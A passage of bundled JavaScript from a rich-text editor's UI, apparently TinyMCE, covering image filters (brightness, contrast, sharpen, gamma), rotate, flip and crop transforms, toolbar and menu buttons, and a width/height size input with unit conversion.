0, 0, 0.5 * (127 - x), 0, 0, x / 127, 0, 0.5 * (127 - x), 0, 0, 0, 1, 0, 0, 0, 0, 0, 1 ]); }; var adjustBrightness = function (matrix, value) { value = clamp(255 * value, -255, 255); return multiply(matrix, [ 1, 0, 0, 0, value, 0, 1, 0, 0, value, 0, 0, 1, 0, value, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1 ]); }; var adjustColors = function (matrix, adjustR, adjustG, adjustB) { adjustR = clamp(adjustR, 0, 2); adjustG = clamp(adjustG, 0, 2); adjustB = clamp(adjustB, 0, 2); return multiply(matrix, [ adjustR, 0, 0, 0, 0, 0, adjustG, 0, 0, 0, 0, 0, adjustB, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1 ]); }; var colorFilter = function (ir, matrix) { return ir.toCanvas().then(function (canvas) { return applyColorFilter(canvas, ir.getType(), matrix); }); }; var applyColorFilter = function (canvas, type, matrix) { var context = get2dContext(canvas); var applyMatrix = function (pixelsData, m) { var r, g, b, a; var data = pixelsData.data, m0 = m[0], m1 = m[1], m2 = m[2], m3 = m[3], m4 = m[4], m5 = m[5], m6 = m[6], m7 = m[7], m8 = m[8], m9 = m[9], m10 = m[10], m11 = m[11], m12 = m[12], m13 = m[13], m14 = m[14], m15 = m[15], m16 = m[16], m17 = m[17], m18 = m[18], m19 = m[19]; for (var i = 0; i < data.length; i += 4) { r = data[i]; g = data[i + 1]; b = data[i + 2]; a = data[i + 3]; data[i] = r * m0 + g * m1 + b * m2 + a * m3 + m4; data[i + 1] = r * m5 + g * m6 + b * m7 + a * m8 + m9; data[i + 2] = r * m10 + g * m11 + b * m12 + a * m13 + m14; data[i + 3] = r * m15 + g * m16 + b * m17 + a * m18 + m19; } return pixelsData; }; var pixels = applyMatrix(context.getImageData(0, 0, canvas.width, canvas.height), matrix); context.putImageData(pixels, 0, 0); return fromCanvas(canvas, type); }; var convoluteFilter = function (ir, matrix) { return ir.toCanvas().then(function (canvas) { return applyConvoluteFilter(canvas, ir.getType(), matrix); }); }; var applyConvoluteFilter = function (canvas, type, matrix) { var context = get2dContext(canvas); var applyMatrix = function (pIn, pOut, aMatrix) { var clamp = function (value, min, max) { if (value > max) { value = max; } else if (value < min) { value = min; } return value; }; var side = Math.round(Math.sqrt(aMatrix.length)); var halfSide = Math.floor(side / 2); var rgba = pIn.data; var drgba = pOut.data; var w = pIn.width; var h = pIn.height; for (var y = 0; y < h; y++) { for (var x = 0; x < w; x++) { var r = 0; var g = 0; var b = 0; for (var cy = 0; cy < side; cy++) { for (var cx = 0; cx < side; cx++) { var scx = clamp(x + cx - halfSide, 0, w - 1); var scy = clamp(y + cy - halfSide, 0, h - 1); var innerOffset = (scy * w + scx) * 4; var wt = aMatrix[cy * side + cx]; r += rgba[innerOffset] * wt; g += rgba[innerOffset + 1] * wt; b += rgba[innerOffset + 2] * wt; } } var offset = (y * w + x) * 4; drgba[offset] = clamp(r, 0, 255); drgba[offset + 1] = clamp(g, 0, 255); drgba[offset + 2] = clamp(b, 0, 255); } } return pOut; }; var pixelsIn = context.getImageData(0, 0, canvas.width, canvas.height); var pixelsOut = context.getImageData(0, 0, canvas.width, canvas.height); pixelsOut = applyMatrix(pixelsIn, pixelsOut, matrix); context.putImageData(pixelsOut, 0, 0); return fromCanvas(canvas, type); }; var functionColorFilter = function (colorFn) { var filterImpl = function (canvas, type, value) { var context = get2dContext(canvas); var lookup = new Array(256); var applyLookup = function (pixelsData, lookupData) { var data = pixelsData.data; for (var i = 0; i < data.length; i += 4) { data[i] = lookupData[data[i]]; data[i + 1] = lookupData[data[i + 1]]; data[i + 2] = lookupData[data[i + 2]]; } return pixelsData; }; for (var i = 0; i < lookup.length; i++) { lookup[i] = colorFn(i, value); } var pixels = applyLookup(context.getImageData(0, 0, canvas.width, canvas.height), lookup); context.putImageData(pixels, 0, 0); return fromCanvas(canvas, type); }; return function (ir, value) { return ir.toCanvas().then(function (canvas) { return filterImpl(canvas, ir.getType(), value); }); }; }; var complexAdjustableColorFilter = function (matrixAdjustFn) { return function (ir, adjust) { return colorFilter(ir, matrixAdjustFn(identity(), adjust)); }; }; var basicColorFilter = function (matrix) { return function (ir) { return colorFilter(ir, matrix); }; }; var basicConvolutionFilter = function (kernel) { return function (ir) { return convoluteFilter(ir, kernel); }; }; var invert$1 = basicColorFilter([ -1, 0, 0, 0, 255, 0, -1, 0, 0, 255, 0, 0, -1, 0, 255, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1 ]); var brightness$1 = complexAdjustableColorFilter(adjustBrightness); var contrast$1 = complexAdjustableColorFilter(adjustContrast); var colorize$1 = function (ir, adjustR, adjustG, adjustB) { return colorFilter(ir, adjustColors(identity(), adjustR, adjustG, adjustB)); }; var sharpen$1 = basicConvolutionFilter([ 0, -1, 0, -1, 5, -1, 0, -1, 0 ]); var gamma$1 = functionColorFilter(function (color, value) { return Math.pow(color / 255, 1 - value) * 255; }); var scale = function (image, dW, dH) { var sW = getWidth$1(image); var sH = getHeight$1(image); var wRatio = dW / sW; var hRatio = dH / sH; var scaleCapped = false; if (wRatio < 0.5 || wRatio > 2) { wRatio = wRatio < 0.5 ? 0.5 : 2; scaleCapped = true; } if (hRatio < 0.5 || hRatio > 2) { hRatio = hRatio < 0.5 ? 0.5 : 2; scaleCapped = true; } var scaled = _scale(image, wRatio, hRatio); return !scaleCapped ? scaled : scaled.then(function (tCanvas) { return scale(tCanvas, dW, dH); }); }; var _scale = function (image, wRatio, hRatio) { return new Promise$1(function (resolve) { var sW = getWidth$1(image); var sH = getHeight$1(image); var dW = Math.floor(sW * wRatio); var dH = Math.floor(sH * hRatio); var canvas = create$3(dW, dH); var context = get2dContext(canvas); context.drawImage(image, 0, 0, sW, sH, 0, 0, dW, dH); resolve(canvas); }); }; var ceilWithPrecision = function (num, precision) { if (precision === void 0) { precision = 2; } var mul = Math.pow(10, precision); var upper = Math.round(num * mul); return Math.ceil(upper / mul); }; var rotate$1 = function (ir, angle) { return ir.toCanvas().then(function (canvas) { return applyRotate(canvas, ir.getType(), angle); }); }; var applyRotate = function (image, type, angle) { var degrees = angle < 0 ? 360 + angle : angle; var rad = degrees * Math.PI / 180; var width = image.width; var height = image.height; var sin = Math.sin(rad); var cos = Math.cos(rad); var newWidth = ceilWithPrecision(Math.abs(width * cos) + Math.abs(height * sin)); var newHeight = ceilWithPrecision(Math.abs(width * sin) + Math.abs(height * cos)); var canvas = create$3(newWidth, newHeight); var context = get2dContext(canvas); context.translate(newWidth / 2, newHeight / 2); context.rotate(rad); context.drawImage(image, -width / 2, -height / 2); return fromCanvas(canvas, type); }; var flip$1 = function (ir, axis) { return ir.toCanvas().then(function (canvas) { return applyFlip(canvas, ir.getType(), axis); }); }; var applyFlip = function (image, type, axis) { var canvas = create$3(image.width, image.height); var context = get2dContext(canvas); if (axis === 'v') { context.scale(1, -1); context.drawImage(image, 0, -canvas.height); } else { context.scale(-1, 1); context.drawImage(image, -canvas.width, 0); } return fromCanvas(canvas, type); }; var crop$1 = function (ir, x, y, w, h) { return ir.toCanvas().then(function (canvas) { return applyCrop(canvas, ir.getType(), x, y, w, h); }); }; var applyCrop = function (image, type, x, y, w, h) { var canvas = create$3(w, h); var context = get2dContext(canvas); context.drawImage(image, -x, -y); return fromCanvas(canvas, type); }; var resize$2 = function (ir, w, h) { return ir.toCanvas().then(function (canvas) { return scale(canvas, w, h).then(function (newCanvas) { return fromCanvas(newCanvas, ir.getType()); }); }); }; var invert = function (ir) { return invert$1(ir); }; var sharpen = function (ir) { return sharpen$1(ir); }; var gamma = function (ir, value) { return gamma$1(ir, value); }; var colorize = function (ir, adjustR, adjustG, adjustB) { return colorize$1(ir, adjustR, adjustG, adjustB); }; var brightness = function (ir, adjust) { return brightness$1(ir, adjust); }; var contrast = function (ir, adjust) { return contrast$1(ir, adjust); }; var flip = function (ir, axis) { return flip$1(ir, axis); }; var crop = function (ir, x, y, w, h) { return crop$1(ir, x, y, w, h); }; var resize$1 = function (ir, w, h) { return resize$2(ir, w, h); }; var rotate = function (ir, angle) { return rotate$1(ir, angle); }; var renderIcon = function (iconName, iconsProvider, behaviours) { return render$3(iconName, { tag: 'span', classes: [ 'tox-icon', 'tox-tbtn__icon-wrap' ], behaviours: behaviours }, iconsProvider); }; var renderIconFromPack = function (iconName, iconsProvider) { return renderIcon(iconName, iconsProvider, []); }; var renderReplacableIconFromPack = function (iconName, iconsProvider) { return renderIcon(iconName, iconsProvider, [Replacing.config({})]); }; var renderLabel$1 = function (text, prefix, providersBackstage) { return { dom: { tag: 'span', innerHtml: providersBackstage.translate(text), classes: [prefix + '__select-label'] }, behaviours: derive$1([Replacing.config({})]) }; }; var _a; var internalToolbarButtonExecute = generate$6('toolbar.button.execute'); var onToolbarButtonExecute = function (info) { return runOnExecute$1(function (comp, _simulatedEvent) { runWithApi(info, comp)(function (itemApi) { emitWith(comp, internalToolbarButtonExecute, { buttonApi: itemApi }); info.onAction(itemApi); }); }); }; var toolbarButtonEventOrder = (_a = {}, _a[execute$5()] = [ 'disabling', 'alloy.base.behaviour', 'toggling', 'toolbar-button-events' ], _a); var updateMenuText = generate$6('update-menu-text'); var updateMenuIcon = generate$6('update-menu-icon'); var renderCommonDropdown = function (spec, prefix, sharedBackstage) { var editorOffCell = Cell(noop); var optMemDisplayText = spec.text.map(function (text) { return record(renderLabel$1(text, prefix, sharedBackstage.providers)); }); var optMemDisplayIcon = spec.icon.map(function (iconName) { return record(renderReplacableIconFromPack(iconName, sharedBackstage.providers.icons)); }); var onLeftOrRightInMenu = function (comp, se) { var dropdown = Representing.getValue(comp); Focusing.focus(dropdown); emitWith(dropdown, 'keydown', { raw: se.event.raw }); Dropdown.close(dropdown); return Optional.some(true); }; var role = spec.role.fold(function () { return {}; }, function (role) { return { role: role }; }); var tooltipAttributes = spec.tooltip.fold(function () { return {}; }, function (tooltip) { var translatedTooltip = sharedBackstage.providers.translate(tooltip); return { 'title': translatedTooltip, 'aria-label': translatedTooltip }; }); var iconSpec = render$3('chevron-down', { tag: 'div', classes: [prefix + '__select-chevron'] }, sharedBackstage.providers.icons); var memDropdown = record(Dropdown.sketch(__assign(__assign(__assign({}, spec.uid ? { uid: spec.uid } : {}), role), { dom: { tag: 'button', classes: [ prefix, prefix + '--select' ].concat(map$2(spec.classes, function (c) { return prefix + '--' + c; })), attributes: __assign({}, tooltipAttributes) }, components: componentRenderPipeline([ optMemDisplayIcon.map(function (mem) { return mem.asSpec(); }), optMemDisplayText.map(function (mem) { return mem.asSpec(); }), Optional.some(iconSpec) ]), matchWidth: true, useMinWidth: true, dropdownBehaviours: derive$1(__spreadArray(__spreadArray([], spec.dropdownBehaviours, true), [ DisablingConfigs.button(function () { return spec.disabled || sharedBackstage.providers.isDisabled(); }), receivingConfig(), Unselecting.config({}), Replacing.config({}), config('dropdown-events', [ onControlAttached(spec, editorOffCell), onControlDetached(spec, editorOffCell) ]), config('menubutton-update-display-text', [ run$1(updateMenuText, function (comp, se) { optMemDisplayText.bind(function (mem) { return mem.getOpt(comp); }).each(function (displayText) { Replacing.set(displayText, [text(sharedBackstage.providers.translate(se.event.text))]); }); }), run$1(updateMenuIcon, function (comp, se) { optMemDisplayIcon.bind(function (mem) { return mem.getOpt(comp); }).each(function (displayIcon) { Replacing.set(displayIcon, [renderReplacableIconFromPack(se.event.icon, sharedBackstage.providers.icons)]); }); }) ]) ], false)), eventOrder: deepMerge(toolbarButtonEventOrder, { mousedown: [ 'focusing', 'alloy.base.behaviour', 'item-type-events', 'normal-dropdown-events' ] }), sandboxBehaviours: derive$1([Keying.config({ mode: 'special', onLeft: onLeftOrRightInMenu, onRight: onLeftOrRightInMenu })]), lazySink: sharedBackstage.getSink, toggleClass: prefix + '--active', parts: { menu: part(false, spec.columns, spec.presets) }, fetch: function (comp) { return Future.nu(curry(spec.fetch, comp)); } }))); return memDropdown.asSpec(); }; var isMenuItemReference = function (item) { return isString(item); }; var isSeparator$1 = function (item) { return item.type === 'separator'; }; var isExpandingMenuItem = function (item) { return has$2(item, 'getSubmenuItems'); }; var separator$2 = { type: 'separator' }; var unwrapReferences = function (items, menuItems) { var realItems = foldl(items, function (acc, item) { if (isMenuItemReference(item)) { if (item === '') { return acc; } else if (item === '|') { return acc.length > 0 && !isSeparator$1(acc[acc.length - 1]) ? acc.concat([separator$2]) : acc; } else if (has$2(menuItems, item.toLowerCase())) { return acc.concat([menuItems[item.toLowerCase()]]); } else { return acc; } } else { return acc.concat([item]); } }, []); if (realItems.length > 0 && isSeparator$1(realItems[realItems.length - 1])) { realItems.pop(); } return realItems; }; var getFromExpandingItem = function (item, menuItems) { var submenuItems = item.getSubmenuItems(); var rest = expand(submenuItems, menuItems); var newMenus = deepMerge(rest.menus, wrap$1(item.value, rest.items)); var newExpansions = deepMerge(rest.expansions, wrap$1(item.value, item.value)); return { item: item, menus: newMenus, expansions: newExpansions }; }; var getFromItem = function (item, menuItems) { return isExpandingMenuItem(item) ? getFromExpandingItem(item, menuItems) : { item: item, menus: {}, expansions: {} }; }; var generateValueIfRequired = function (item) { if (isSeparator$1(item)) { return item; } else { var itemValue = get$e(item, 'value').getOrThunk(function () { return generate$6('generated-menu-item'); }); return deepMerge({ value: itemValue }, item); } }; var expand = function (items, menuItems) { var realItems = unwrapReferences(isString(items) ? items.split(' ') : items, menuItems); return foldr(realItems, function (acc, item) { var itemWithValue = generateValueIfRequired(item); var newData = getFromItem(itemWithValue, menuItems); return { menus: deepMerge(acc.menus, newData.menus), items: [newData.item].concat(acc.items), expansions: deepMerge(acc.expansions, newData.expansions) }; }, { menus: {}, expansions: {}, items: [] }); }; var build = function (items, itemResponse, backstage, isHorizontalMenu) { var primary = generate$6('primary-menu'); var data = expand(items, backstage.shared.providers.menuItems()); if (data.items.length === 0) { return Optional.none(); } var mainMenu = createPartialMenu(primary, data.items, itemResponse, backstage, isHorizontalMenu); var submenus = map$1(data.menus, function (menuItems, menuName) { return createPartialMenu(menuName, menuItems, itemResponse, backstage, false); }); var menus = deepMerge(submenus, wrap$1(primary, mainMenu)); return Optional.from(tieredMenu.tieredData(primary, menus, data.expansions)); }; var getMenuButtonApi = function (component) { return { isDisabled: function () { return Disabling.isDisabled(component); }, setDisabled: function (state) { return Disabling.set(component, state); }, setActive: function (state) { var elm = component.element; if (state) { add$2(elm, 'tox-tbtn--enabled'); set$8(elm, 'aria-pressed', true); } else { remove$2(elm, 'tox-tbtn--enabled'); remove$7(elm, 'aria-pressed'); } }, isActive: function () { return has(component.element, 'tox-tbtn--enabled'); } }; }; var renderMenuButton = function (spec, prefix, backstage, role) { return renderCommonDropdown({ text: spec.text, icon: spec.icon, tooltip: spec.tooltip, role: role, fetch: function (_comp, callback) { spec.fetch(function (items) { callback(build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, false)); }); }, onSetup: spec.onSetup, getApi: getMenuButtonApi, columns: 1, presets: 'normal', classes: [], dropdownBehaviours: [Tabstopping.config({})] }, prefix, backstage.shared); }; var getFetch = function (items, getButton, backstage) { var getMenuItemAction = function (item) { return function (api) { var newValue = !api.isActive(); api.setActive(newValue); item.storage.set(newValue); backstage.shared.getSink().each(function (sink) { getButton().getOpt(sink).each(function (orig) { focus$3(orig.element); emitWith(orig, formActionEvent, { name: item.name, value: item.storage.get() }); }); }); }; }; var getMenuItemSetup = function (item) { return function (api) { api.setActive(item.storage.get()); }; }; return function (success) { success(map$2(items, function (item) { var text = item.text.fold(function () { return {}; }, function (text) { return { text: text }; }); return __assign(__assign({ type: item.type, active: false }, text), { onAction: getMenuItemAction(item), onSetup: getMenuItemSetup(item) }); })); }; }; var renderCommonSpec = function (spec, actionOpt, extraBehaviours, dom, components, providersBackstage) { if (extraBehaviours === void 0) { extraBehaviours = []; } var action = actionOpt.fold(function () { return {}; }, function (action) { return { action: action }; }); var common = __assign({ buttonBehaviours: derive$1([ DisablingConfigs.button(function () { return spec.disabled || providersBackstage.isDisabled(); }), receivingConfig(), Tabstopping.config({}), config('button press', [ preventDefault('click'), preventDefault('mousedown') ]) ].concat(extraBehaviours)), eventOrder: { click: [ 'button press', 'alloy.base.behaviour' ], mousedown: [ 'button press', 'alloy.base.behaviour' ] } }, action); var domFinal = deepMerge(common, { dom: dom }); return deepMerge(domFinal, { components: components }); }; var renderIconButtonSpec = function (spec, action, providersBackstage, extraBehaviours) { if (extraBehaviours === void 0) { extraBehaviours = []; } var tooltipAttributes = spec.tooltip.map(function (tooltip) { return { 'aria-label': providersBackstage.translate(tooltip), 'title': providersBackstage.translate(tooltip) }; }).getOr({}); var dom = { tag: 'button', classes: ['tox-tbtn'], attributes: tooltipAttributes }; var icon = spec.icon.map(function (iconName) { return renderIconFromPack(iconName, providersBackstage.icons); }); var components = componentRenderPipeline([icon]); return renderCommonSpec(spec, action, extraBehaviours, dom, components, providersBackstage); }; var renderIconButton = function (spec, action, providersBackstage, extraBehaviours) { if (extraBehaviours === void 0) { extraBehaviours = []; } var iconButtonSpec = renderIconButtonSpec(spec, Optional.some(action), providersBackstage, extraBehaviours); return Button.sketch(iconButtonSpec); }; var renderButtonSpec = function (spec, action, providersBackstage, extraBehaviours, extraClasses) { if (extraBehaviours === void 0) { extraBehaviours = []; } if (extraClasses === void 0) { extraClasses = []; } var translatedText = providersBackstage.translate(spec.text); var icon = spec.icon ? spec.icon.map(function (iconName) { return renderIconFromPack(iconName, providersBackstage.icons); }) : Optional.none(); var components = icon.isSome() ? componentRenderPipeline([icon]) : []; var innerHtml = icon.isSome() ? {} : { innerHtml: translatedText }; var classes = __spreadArray(__spreadArray(__spreadArray(__spreadArray([], !spec.primary && !spec.borderless ? [ 'tox-button', 'tox-button--secondary' ] : ['tox-button'], true), icon.isSome() ? ['tox-button--icon'] : [], true), spec.borderless ? ['tox-button--naked'] : [], true), extraClasses, true); var dom = __assign(__assign({ tag: 'button', classes: classes }, innerHtml), { attributes: { title: translatedText } }); return renderCommonSpec(spec, action, extraBehaviours, dom, components, providersBackstage); }; var renderButton = function (spec, action, providersBackstage, extraBehaviours, extraClasses) { if (extraBehaviours === void 0) { extraBehaviours = []; } if (extraClasses === void 0) { extraClasses = []; } var buttonSpec = renderButtonSpec(spec, Optional.some(action), providersBackstage, extraBehaviours, extraClasses); return Button.sketch(buttonSpec); }; var getAction = function (name, buttonType) { return function (comp) { if (buttonType === 'custom') { emitWith(comp, formActionEvent, { name: name, value: {} }); } else if (buttonType === 'submit') { emit(comp, formSubmitEvent); } else if (buttonType === 'cancel') { emit(comp, formCancelEvent); } else { console.error('Unknown button type: ', buttonType); } }; }; var isMenuFooterButtonSpec = function (spec, buttonType) { return buttonType === 'menu'; }; var isNormalFooterButtonSpec = function (spec, buttonType) { return buttonType === 'custom' || buttonType === 'cancel' || buttonType === 'submit'; }; var renderFooterButton = function (spec, buttonType, backstage) { if (isMenuFooterButtonSpec(spec, buttonType)) { var getButton = function () { return memButton_1; }; var menuButtonSpec = spec; var fixedSpec = __assign(__assign({}, spec), { onSetup: function (api) { api.setDisabled(spec.disabled); return noop; }, fetch: getFetch(menuButtonSpec.items, getButton, backstage) }); var memButton_1 = record(renderMenuButton(fixedSpec, 'tox-tbtn', backstage, Optional.none())); return memButton_1.asSpec(); } else if (isNormalFooterButtonSpec(spec, buttonType)) { var action = getAction(spec.name, buttonType); var buttonSpec = __assign(__assign({}, spec), { borderless: false }); return renderButton(buttonSpec, action, backstage.shared.providers, []); } else { console.error('Unknown footer button type: ', buttonType); } }; var renderDialogButton = function (spec, providersBackstage) { var action = getAction(spec.name, 'custom'); return renderFormField(Optional.none(), FormField.parts.field(__assign({ factory: Button }, renderButtonSpec(spec, Optional.some(action), providersBackstage, [ RepresentingConfigs.memory(''), ComposingConfigs.self() ])))); }; var schema$h = constant$1([ defaulted('field1Name', 'field1'), defaulted('field2Name', 'field2'), onStrictHandler('onLockedChange'), markers$1(['lockClass']), defaulted('locked', false), SketchBehaviours.field('coupledFieldBehaviours', [ Composing, Representing ]) ]); var getField = function (comp, detail, partName) { return getPart(comp, detail, partName).bind(Composing.getCurrent); }; var coupledPart = function (selfName, otherName) { return required({ factory: FormField, name: selfName, overrides: function (detail) { return { fieldBehaviours: derive$1([config('coupled-input-behaviour', [run$1(input(), function (me) { getField(me, detail, otherName).each(function (other) { getPart(me, detail, 'lock').each(function (lock) { if (Toggling.isOn(lock)) { detail.onLockedChange(me, other, lock); } }); }); })])]) }; } }); }; var parts$c = constant$1([ coupledPart('field1', 'field2'), coupledPart('field2', 'field1'), required({ factory: Button, schema: [required$1('dom')], name: 'lock', overrides: function (detail) { return { buttonBehaviours: derive$1([Toggling.config({ selected: detail.locked, toggleClass: detail.markers.lockClass, aria: { mode: 'pressed' } })]) }; } }) ]); var factory$f = function (detail, components, _spec, _externals) { return { uid: detail.uid, dom: detail.dom, components: components, behaviours: SketchBehaviours.augment(detail.coupledFieldBehaviours, [ Composing.config({ find: Optional.some }), Representing.config({ store: { mode: 'manual', getValue: function (comp) { var _a; var parts = getPartsOrDie(comp, detail, [ 'field1', 'field2' ]); return _a = {}, _a[detail.field1Name] = Representing.getValue(parts.field1()), _a[detail.field2Name] = Representing.getValue(parts.field2()), _a; }, setValue: function (comp, value) { var parts = getPartsOrDie(comp, detail, [ 'field1', 'field2' ]); if (hasNonNullableKey(value, detail.field1Name)) { Representing.setValue(parts.field1(), value[detail.field1Name]); } if (hasNonNullableKey(value, detail.field2Name)) { Representing.setValue(parts.field2(), value[detail.field2Name]); } } } }) ]), apis: { getField1: function (component) { return getPart(component, detail, 'field1'); }, getField2: function (component) { return getPart(component, detail, 'field2'); }, getLock: function (component) { return getPart(component, detail, 'lock'); } } }; }; var FormCoupledInputs = composite({ name: 'FormCoupledInputs', configFields: schema$h(), partFields: parts$c(), factory: factory$f, apis: { getField1: function (apis, component) { return apis.getField1(component); }, getField2: function (apis, component) { return apis.getField2(component); }, getLock: function (apis, component) { return apis.getLock(component); } } }); var formatSize = function (size) { var unitDec = { '': 0, 'px': 0, 'pt': 1, 'mm': 1, 'pc': 2, 'ex': 2, 'em': 2, 'ch': 2, 'rem': 2, 'cm': 3, 'in': 4, '%': 4 }; var maxDecimal = function (unit) { return unit in unitDec ? unitDec[unit] : 1; }; var numText = size.value.toFixed(maxDecimal(size.unit)); if (numText.indexOf('.') !== -1) { numText = numText.replace(/\.?0*$/, ''); } return numText + size.unit; }; var parseSize = function (sizeText) { var numPattern = /^\s*(\d+(?:\.\d+)?)\s*(|cm|mm|in|px|pt|pc|em|ex|ch|rem|vw|vh|vmin|vmax|%)\s*$/; var match = numPattern.exec(sizeText); if (match !== null) { var value = parseFloat(match[1]); var unit = match[2]; return Result.value({ value: value, unit: unit }); } else { return Result.error(sizeText); } }; var convertUnit = function (size, unit) { var inInch = { '': 96, 'px': 96, 'pt': 72, 'cm': 2.54, 'pc': 12, 'mm': 25.4, 'in': 1 }; var supported = function (u) { return has$2(inInch, u); }; if (size.unit === unit) { return Optional.some(size.value); } else if (supported(size.unit) && supported(unit)) { if (inInch[size.unit] === inInch[unit]) { return Optional.some(size.value); } else { return Optional.some(size.value / inInch[size.unit] * inInch[unit]); } } else { return Optional.none(); } }; var noSizeConversion = function (_input) { return Optional.none(); }; var ratioSizeConversion = function (scale, unit) { return function (size) { return convertUnit(size, unit).map(function (value) { return { value: value * scale, unit: unit }; }); }; }; var makeRatioConverter = function (currentFieldText, otherFieldText) { var cValue = parseSize(currentFieldText).toOptional(); var oValue = parseSize(otherFieldText).toOptional(); return lift2(cValue, oValue, function (cSize, oSize) { return convertUnit(cSize, oSize.unit).map(function (val) { return oSize.value / val; }).map(function (r) { return ratioSizeConversion(r, oSize.unit); }).getOr(noSizeConversion); }).getOr(noSizeConversion); }; var renderSizeInput = function (spec, providersBackstage) { var converter = noSizeConversion; var ratioEvent = generate$6('ratio-event'); var makeIcon = function (iconName) { return render$3(iconName, { tag: 'span', classes: [ 'tox-icon', 'tox-lock-icon__' + iconName ] }, providersBackstage.icons); }; var pLock = FormCoupledInputs.parts.lock({ dom: { tag: 'button', classes: [ 'tox-lock', 'tox-button', 'tox-button--naked', 'tox-button--icon' ], attributes: { title: providersBackstage.translate(spec.label.getOr('Constrain proportions')) } }, components: [ makeIcon('lock'), makeIcon('unlock') ], buttonBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); } }), receivingConfig(), Tabstopping.config({}) ]) }); var formGroup = function (components) { return { dom: { tag: 'div', classes: ['tox-form__group'] }, components: components }; }; var getFieldPart = function (isField1) { return FormField.parts.field({ factory: Input, inputClasses: ['tox-textfield'], inputBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); } }), receivingConfig(), Tabstopping.config({}), config('size-input-events', [ run$1(focusin(), function (component, _simulatedEvent) { emitWith(component, ratioEvent, { isField1: isField1 }); }), run$1(change(), function (component, _simulatedEvent) { emitWith(component, formChangeEvent, { name: spec.name }); }) ]) ]), selectOnFocus: false }); }; var getLabel = function (label) { return { dom: { tag: 'label', classes: ['tox-label'], innerHtml: providersBackstage.translate(label) } }; }; var widthField = FormCoupledInputs.parts.field1(formGroup([ FormField.parts.label(getLabel('Width')), getFieldPart(true) ])); var heightField = FormCoupledInputs.parts.field2(formGroup([ FormField.parts.label(getLabel('Height')), getFieldPart(false) ])); return FormCoupledInputs.sketch({ dom: { tag: 'div', classes: ['tox-form__group'] }, components: [{ dom: { tag: 'div', classes: ['tox-form__controls-h-stack'] }, components: [ widthField, heightField, formGroup([ getLabel(' '), pLock ]) ] }], field1Name: 'width', field2Name: 'height', locked: true, markers: { lockClass: 'tox-locked' }, onLockedChange: function (current, other, _lock) { parseSize(Representing.getValue(current)).each(function (size) { converter(size).each(function (newSize) { Representing.setValue(other, formatSize(newSize)); }); }); }, coupledFieldBehaviours: derive$1([ Disabling.config({ disabled: function () { return spec.disabled || providersBackstage.isDisabled(); }, onDisabled: function (comp) { FormCoupledInputs.getField1(comp).bind(FormField.getField).each(Disabling.disable); FormCoupledInputs.getField2(comp).bind(FormField.getField).each(Disabling.disable); FormCoupledInputs.getLock(comp).each(Disabling.disable); }, onEnabled: function (comp) { FormCoupledInputs.getField1(comp).bind(FormField.getField).each(Disabling.enable); FormCoupledInputs.getField2(comp).bind(FormField.getField).each(Disabling.enable); FormCoupledInputs.getLock(comp).each(Disabling.enable); } }), receivingConfig(), config('size-input-events2', [run$1(ratioEvent, function (component, simulatedEvent) { var isField1 = simulatedEvent.event.isField1; var optCurrent = isField1 ? FormCoupledInputs.getField1(component) : FormCoupledInputs.getField2(component); var optOther = isField1 ? FormCoupledInputs.getField2(component) : FormCoupledInputs.getField1(component); var value1 = optCurrent.map(Representing.getValue).getOr(''); var value2 = optOther.map(Representing.getValue).getOr(''); converter = makeRatioConverter(value1, value2); })]) ]) }); }; var undo = constant$1(generate$6('undo')); var redo = constant$1(generate$6('redo')); var zoom = constant$1(generate$6('zoom')); var back = constant$1(generate$6('back')); var apply = constant$1(generate$6('apply')); var swap = constant$1(generate$6('swap')); var transform$1 = constant$1(generate$6('transform')); var tempTransform = constant$1(generate$6('temp-transform')); var transformApply = constant$1(generate$6('transform-apply')); var internal = { undo: undo, redo: redo, zoom: zoom, back: back, apply: apply, swap: swap, transform: transform$1, tempTransform: tempTransform, transformApply: transformApply }; var saveState = constant$1('save-state'); var disable = constant$1('disable'); var enable = constant$1('enable'); var external = { formActionEvent: formActionEvent, saveState: saveState, disable: disable, enable: enable }; var renderEditPanel = function (imagePanel, providersBackstage) { var createButton = function (text, action, disabled, primary) { return record(renderButton({ name: text, text: text, disabled: disabled, primary: primary, icon: Optional.none(), borderless: false }, action, providersBackstage)); }; var createIconButton = function (icon, tooltip, action, disabled) { return record(renderIconButton({ name: icon, icon: Optional.some(icon), tooltip: Optional.some(tooltip), disabled: disabled, primary: false, borderless: false }, action, providersBackstage)); }; var disableAllComponents = function (comps, eventcomp) { comps.map(function (mem) { var component = mem.get(eventcomp); if (component.hasConfigured(Disabling)) { Disabling.disable(component); } }); }; var enableAllComponents = function (comps, eventcomp) { comps.map(function (mem) { var component = mem.get(eventcomp); if (component.hasConfigured(Disabling)) { Disabling.enable(component); } }); }; var panelDom = { tag: 'div', classes: [ 'tox-image-tools__toolbar', 'tox-image-tools-edit-panel' ] }; var noop$1 = noop; var emit$1 = function (comp, event, data) { emitWith(comp, event, data); }; var emitDisable = function (component) { return emit(component, external.disable()); }; var emitEnable = function (component) { return emit(component, external.enable()); }; var emitTransform = function (comp, transform) { emitDisable(comp); emit$1(comp, internal.transform(), { transform: transform }); emitEnable(comp); }; var emitTempTransform = function (comp, transform) { emitDisable(comp); emit$1(comp, internal.tempTransform(), { transform: transform }); emitEnable(comp); }; var getBackSwap = function (anyInSystem) { return function () { memContainer.getOpt(anyInSystem).each(function (container) { Replacing.set(container, [ButtonPanel]); }); }; }; var emitTransformApply = function (comp, transform) { emitDisable(comp); emit$1(comp, internal.transformApply(), { transform: transform, swap: getBackSwap(comp) }); emitEnable(comp); }; var createBackButton = function () { return createButton('Back', function (button) { return emit$1(button, internal.back(), { swap: getBackSwap(button) }); }, false, false); }; var createSpacer = function () { return record({ dom: { tag: 'div', classes: ['tox-spacer'] }, behaviours: derive$1([Disabling.config({})]) }); }; var createApplyButton = function () { return createButton('Apply', function (button) { return emit$1(button, internal.apply(), { swap: getBackSwap(button) }); }, true, true); }; var makeCropTransform = function () { return function (ir) { var rect = imagePanel.getRect(); return crop(ir, rect.x, rect.y, rect.w, rect.h); }; }; var cropPanelComponents = [ createBackButton(), createSpacer(), createButton('Apply', function (button) { var transform = makeCropTransform(); emitTransformApply(button, transform); imagePanel.hideCrop(); }, false, true) ]; var CropPanel = 